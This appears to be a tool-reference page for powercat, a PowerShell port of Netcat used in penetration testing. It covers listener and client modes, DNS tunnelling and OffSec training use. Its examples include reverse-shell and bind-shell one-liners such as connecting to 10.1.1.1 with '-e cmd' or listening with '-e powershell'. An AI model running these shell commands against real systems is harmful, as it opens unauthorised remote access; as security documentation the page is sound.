powercat
Powercat is a PowerShell version of Netcat that reads and writes data across network connections using DNS or UDP protocols. It implements Netcat features with extras like built-in relays, PowerShell execution, and a dnscat2 client.
Description
Powercat provides Netcat functionality within PowerShell v2, enabling network data transfer over TCP, UDP, or DNS. It's a simple utility for creating connections, listening for incoming connections, and executing processes remotely. The tool is particularly useful in penetration testing for establishing reverse shells or bind shells on Windows systems via PowerShell.
Use cases include client-side attacks and obtaining code execution, as highlighted in OffSec's PEN-200 training modules such as leveraging Microsoft Word macros and Windows library files. It supports verbosity for debugging and integrates with dnscat2 for DNS-based command and control.
The script originates from a GitHub repository and is packaged for Kali Linux, depending on kali-defaults.
How It Works
Powercat emulates Netcat in PowerShell, handling TCP/UDP connections for data streaming between client and listener modes. In client mode (-c), it connects to a specified IP/port or DNS server for queries. Listener mode (-l) binds to a port (-p) to accept incoming connections. It supports process execution (-e) on connection, DNS tunneling via dnscat2 client, and additional features like relays. Data is read/written bidirectionally across protocols.
Installation
sudo apt install powercatFlags
Examples
powercat -l -p 8000powercat -c 10.1.1.1 -p 443 -e cmd -vpowercat -hpowercat -c 10.1.1.1 -p 53 -dnspowercat -l -p 4444 -e powershellpowercat -c example.com -p 443 -v